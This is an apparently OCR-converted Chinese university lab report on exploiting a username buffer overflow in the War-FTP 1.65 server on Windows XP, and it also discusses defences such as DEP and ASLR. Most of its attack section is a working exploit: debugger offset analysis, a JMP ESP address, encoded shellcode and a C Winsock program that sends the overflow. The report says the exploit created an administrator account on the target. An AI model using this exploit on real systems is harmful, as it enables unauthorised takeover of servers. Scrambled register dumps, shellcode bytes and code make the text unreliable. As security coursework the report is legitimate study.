《基于war-ftp1.65的缓冲区溢出攻击.docx》由会员分享,可在线阅读,更多相关《基于war-ftp1.65的缓冲区溢出攻击.docx(9页珍藏版)》请在三一办公上搜索。
1、XX大学实验报告姓名XX学号XX实验组实验时间2023/12/25指导教师XX成绩实验工程名称缓冲区溢出攻击实验实验目的1掌握缓冲区溢出的原理缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。2掌握常用的缓冲区溢出方法缓冲区溢出攻击的目的在于取得程序的控制权,为此,攻击者必须到达如下的两个目标:在程序的地址空间里安排适当的代码:通过适当的初始化存放器和内存,让程
2、序跳转到入侵者安排的地址空间执行。根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法;在程序的地址空间里安排适当的代码的方法:控制程序转移到攻击代码的方法。3理解缓冲区溢出的危害性缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性表达在易使效劳程序停止运行,效劳器死机甚至删除效劳器上的数据或者可以执入并运行攻击代码。隐蔽性表达在软件漏洞难以防止,缓冲攻击的SheIlCode的执行不易被发觉,攻击的随机性及不可预测性。4掌握防范和防止缓冲区溢出攻击的方法通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;强制编写正确的代码;利用编译器的边界检查
3、来实现缓冲区的保护;间接的方法是在程序指针失效前进行完整性检查等。实验环境windows10(缓冲区溢出攻击端),windowsxpHome(缓冲区溢出被攻击端)编程工具:CodebIOCkS(用于发送exploit代码),exlipse(用来写测试代码字符和转换代码字符)缓冲区漏洞软件:war-ftp1.65系统程序调试工具:OIIydbg网络环境:使用Vmare承载WindoWsxp,windowlO与XP在同一网段下,可以进行相互通信学院:计算机科学与技术专业:软件工程班级:XX实 验 内 容实挈;数 据当输入用户名的长度超过了 485个字符时,系统崩溃: (崩溃时):直接处于卡死状态1
4、 .分析WaLftPvl.65的基于用户名的缓冲溢出漏洞实践课件上己指出:向效劳器发送超过480字节的用户名可以触发漏洞(即使用命令USER1ongStringrn),溢出之后,ESP中的内容包含了IongString中的局部内容。需要对其进行验证分析。2 .分析War-ftpvl.65的堆栈结构即分析堆栈中的EIP、ESP、EBP等的精确位置。3 .构造针对War-ftpvl.65的exploit根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit)获取ShelICOde,构造exploit。1验证War-ftpV1.65基于用户名的缓冲溢出漏洞在WindowsXP中使
5、用OIldbg装载war-ftp1.65.degugrun.允许匿名登录:在物理主机使用Cuteftp登录,用户名使用依次增加的“AAA,当用户名长度超过480时,war-ftp1.65出现异常甚至崩溃退出。(正常情况):此时的E1P,EBP,ESP如下列图所示:gstri*u,EQxECXEDXEBXESPEBPESIEDIEIPC0P1R120S0T0D000EFLSTSTlST2ST3ST4STSST6ST700000001000000010000000000B0000REFDS8ASCIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0QEFD80SCIlAQAAAAA
6、AAAAAAAAAAAAAAAAqAAAAAQHAi7C80932Ekerne132GetTickCount。0AEFES8ASCIIAAAAAAAAAAAAAAQAAAAAAAAAAAAARA41414141ES。02332bit(FFFFFFFF)CS01B32bit(FFFFFFFF)SS002332bit0(FFFFFFFF)DS02332bit(FFFFFFFF)FS03B32bit7FFDE00(FFF)GS00NULL1.astErrERROR_SUCCESS(00000000)0001216(No,NB,NE,A,NS,PE,GE,G)62ty-?FFFF00FFFFFF00F
7、FFFFFempty-?FFFF0O00000000enpty-?FFFF0000FEOFE00FEenpty-?FFFF0000FE0FE00FEempty-?FFFFFFFFFFOFFFFFFenpty1.0000000000000O000empty1.00000000000000000eMQty1.000000000000000003210ESP0ZDIFSTFCW400Cond100Err00000000(EQ)27FPrec任喇53HaSkIlllll以上证据表示,War-ftp确实存在登录的缓冲区漏洞。2分析War-ftp1.65的堆栈结构由于堆栈Ret里的地址被赋给EIP,CPU
8、继续执行EIP所指向的命令,即EIP存放器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把ShellCode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置。使用java程序生成长度为1000的不重复的字符串。publicstaticStringgenarateString(intlen)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHI3KLMNOPQRSTUVWXYZM;StringBuffersb=newStringBuffer();Randomrandom=newRand
9、om();for(inti=0;ilen;i+)sb.append(string.charAt(random.nextInt(string.length();returnsb.toString();|HXCDXBSPBP/ Eeeeeeee00000001 00000001 00000000 00000000 0REFD58 00REFDB8 7C80932E 00REFE58随后将生成的字符串使用cuteftp发送到被攻击主机,得到关于EIP,EBP,ESP的偏移位置如下:ASCIIMqFjuV7CuhVHM1PF4zzUU1H6CJ8QWCG02V41CASCIINUofdiurGbNqt
10、hfCZV5AAItOGLXJTfkerne132.GetTIckCountASCIIM6ZniolUqGHInGKzJjIpyrZaBUL3JejPOPyES002332b it0(FFFFFFFF)CSOOlB32b it0(FFFFFFFF)SS002332b it0(FFFFFFFF)DS0。2332b it(FFFFFFFF)FS003B32b it7FFDE00(FFF)GS凸代NULLLaSt 热ERRoR-SUCCESS (000000)0010216 (NO,NB,NE,A,NS,IPE,GEG)empty-28FFFF00700070007070empty-9FFFF00F
11、000F000F0F0empty-7FFFF0000003800480065enpty-FFFF00000078009BD9empty-3/FFFF0F7FA3E68F92ACE9enpty1.00000000006rpty1.0000000000000000800erpty1.000000000000003 2 10IESPUOZDI4000Cond1 0 eI 0 Err i0 0 0 0 0 000027FPrecNEAR.53 MaskIllli1(EQ)81234567 Tw Tttttttt S CSsssssss FfEIP:0x540x360x370x48对应与H76T在登录用
12、户字符串的485个位置开始ESP:qFju在登录用户字符串的493个位置开始EBP:NUof在登录用户字符串的581个位置开始结果说明,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp1.65的堆栈结构图如下:嘱免”一4byte RET ,SgeI jSSbuesESP.EBPdEsP倩生量 为 493hyt+EBPfiVft. 为 Stlbyt,产生随机不重复字符串生成代码和16进制转换代码:safe;importjava.util.Random;*Helloworld!publicclassApppublicstaticvo
13、idmain(Stringargs)/for(inti=0;i490;i+)/System.out.print(八);/System.out.println();/System.out.println(genarateString(l000);asc(newint0x54,0x36,0x37,0x48);publicstaticStringgenaratcString(intlcn)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYStringBuffersb=newStringBufTerO;
14、Randomrandom=newRandom();for(inti=0;iieNOP*JMFSK4r*oMS4E“0PsbelkC5*力493gqESPttlZIEk,我在此使用了跳转到ESP执行shellcode,构建的exploit字符串如上图所示。以命令USER紧跟个空格开头,后接485个NOP空转指令,紧接着的4个字节用JMPESP地址如uxl2x45xfax7来填充(这是因为x86系统是IittIC-endian方式),之后4字节维续用NOP填充,然后从第498字节开始把shellcode复制过去,最后以rn表示FTPUSER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转
15、到堆栈第493字节开始的ESP执行shellcode35编程实现根据用户的选择,构造溢出字符串(即构造后接ShCIkrode的USER命令:USERexploitcodern);根据用户提供的数据,使用SoCke3使用ConnCCt连接目标主机;向目标主机发送溢出字符串(Send);关闭连接。实验源码:#include#include#includecharexploit2000;charstr1000;constcharjum-esp=,x12x45xfax7f,;charcc=,AAAA;charScode=xebx03x59xebx05xe8xf8xffxffxffx49x49x49x4
16、9x49x49x49x49x49x49x49x49x49x49x37x49x49x49x51x5ax6ax4a,x58x30x42x30x50x41x6bx41x41x5ax42x32x41x42x32x42x4lx41x30x42x41x58x5Ox38x41x42x75x7ax49x79x6cx69x78x51x54x57x70x43x30x63x30x4cx4bx67x35x45x6cx6e,x6bx71x6cx66x65x43x48x55x5Ix5ax4fx4ex6bx7x4fx42u,x38x4cx4bx43x6x51x30x56x61x78x6bx30x49x4cx4bx761x5
17、4x4cx4bx65x5Ix7ax4ex66x5Ix6bx7x5ax39x6ex4cx4dx54x4fx30x73x44x56x67x68x41x5ax6ax66x(ix44x41x6a,x62x58x6bx48x74x65x6bx72x74x31x34x77x74x74x35x79,x75x6cx4bx73x6x67x54x64x41x7ax4bx62x46x6ex6bx64x4cx30x4bx6ex6bx33x6fx75x4cx37x71x48x6bx6ex6bx57ux6cx4cx4bx77x71Vx58x6bx4cx49x61x4cx56x44x47x74x69x53x70x31x4b
18、x70x45x34x4cx4bx31x50x64x70x6x75x49,x50x52x58x36x6cx4cx4bx43x70x64x4cx4ex6bx74x30x45x4cx4cx6dx4ex6bx63x58x33x38x6ax4bx47x79x4cx4bx4dx5Ox68x3Ox37x7Ox73x3Ox53x3Ox6ex6bx35x38x55x6cx53,x6fx47x41x6ax56x73x5Ox52x76x4bx39x7ax58x4fx73x6b,x70x63x4bx76x30x42x48x31x6ex78x58x78x62x62x53x62x48x7ax38x4bx4ex4x7ax6
19、6x6ex30x57x69x6fx38x67x6,x73x5Ox6dx55x34x66x4ex33x55x73x48x35x35x61x30x54x6fx45x33x31x30x50x6ex72x45x50x74x65x70x30x75x4,x63x7Ox65x73x42x37x5Ox51x6ax62x41x62x4ex72x45x71x3Ox71x75x7Ox6ex5Ox61x72x5ax37x5Ox46x4fx43x71x7,x54x43x74x41x3Ox36x46x51x36x55x7Ox7Ox6ex43x55x7Ox74x55x7Ox3Ox6cx72x4ix32x43x35x31x5
20、0x6cx70x67x64u,x32x72x4fx54x35x42x5Ox35x7Ox32x61x71x74x42x4dx62nx49x3Ox6ex55x39x33x43x73x44x71x62x51x71x72x54x5Ox6fx54x32x31x63x45x70x71x6ax42x41x62x4ex41x75x55”x70x46x4fx30x41x30x44x30x44x43x30x4aM;voidgenarate()strcat(exploit,USER);/0-4for(inti=5;i490;i+)Iexploiti=x90,;添加jump_espstrcat(exploitJum_
21、esp);/5-489490-493Strcat(exploit,x90x90x90x90u);添加shellcodestrcat(exploit,scode);Strcat(exploitJrnO);Iintmain(intargc,char*argv)/生成shellcodegenarate();printf(%snH,exploit);准备建立socket连接WSADATAwsaData;WORDWVersionRequested;interr,n;charbuff512;wVersionRequested=MAKEWORD(2,2);err=WSAStartup(wVersionRcq
22、uested,&wsaData);if(err!=0)returnO;SOCKETclientSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);Sockaddrjnaddress;address.sin_addr.S_un.S_addr=inct_add(,192.168.139.140);address.sin_family=AF_INET;address.sin_port=htons(21);Printf(”开始连接!n);if(connect(clicntSock,(SOCKADDR*)&address,sizeof(address)=SOCKET
23、_ERROR)Printf(连接失败n);return-1;recv(clientSock,str,1000,0);Printf(%sn,str);Printf(”发送exploit!n);scnd(clicntSock,exploit,strlen(exploit),0);Printf(发送长度:dn,Strlcn(Cxploit);recv(clientSock,str,1000,0);closesockct(clicntSock);WSACleanupO;return0;I实验结果:通过缓冲区溢出实验,成功在WindoWXP下建立r一个Zena的用户,并设置为管理员OvnerZaaeV计
24、算机管理员J计菖机管理员gQF密码保护Gnest来宾帐户没有JB用实总结1针对缓冲溢出的防御方法从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助-些工具如编译器来实现,像这次实践的war-ftp1.65就应该对用户名数组边界进行检测;从运行状态来看,可进行动态保护,主要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用类型-平安的编程语言如Java;此外还可以从系统的角度阻止攻击代码的执行,例如非执行的缓冲区技术。对于操作系统而言,WindOWS从XPSP2引入的DEP(DataEXeCUtionPreVentiOn)即数据执行保护,直延续到此后的WindOWSSe
25、rver2003、WindowsServer2023中,后者的AddreSSSpaceLoadRandomization让缓冲区溢出攻击变得非常困难,在WindoWS7中,DEP默认是激活的。2.实践中遇到的问题实践中遇到的问题不少,在逐个解决问题的过程中体验到了成功的喜悦,并逐步加深了对相关技术的理解。1)虚拟机之间不能相互通信确保虚拟机和宿主机在同一个网段上,且关闭了防火墙。2)如何查找JMPESP,JMPEBP地址实践例程提供了Win2K/XP/2003的通用JMPESP地址:0x7ffa4512,网上还提供了使用WindOWS2kxp2003的通用的JMPEBP:0x7ffa4967地
26、址。如何查找到具体版本的核心dll中的JMPESP地址,这可用OllyDBG的OllyUni插件或MetasploitFramework中的相关插件完成,也可以根据JMPESP的机器码0xFFE4编程载入相关的*.dll来查找。3)是否只能用JMPESP开始以为跳转的存放器只能用ESP,后来发现也可以使用EBP,只要在RET中指定相应的地址,EBP及之后的空间足够用于存储ShellCOde。4)不能返回被攻击的远程主机SheIl即在运行攻击命令后,本地主机自动获得远程主机的Shel1。这个问题尚未解决。这可能与这样的ShenCode较长导致字符数组长度超过WaLftP1.65缓冲总大小有关,也可能是与socket编程有关。指教师意见签名:年月日注:请在实验报告后附程序清单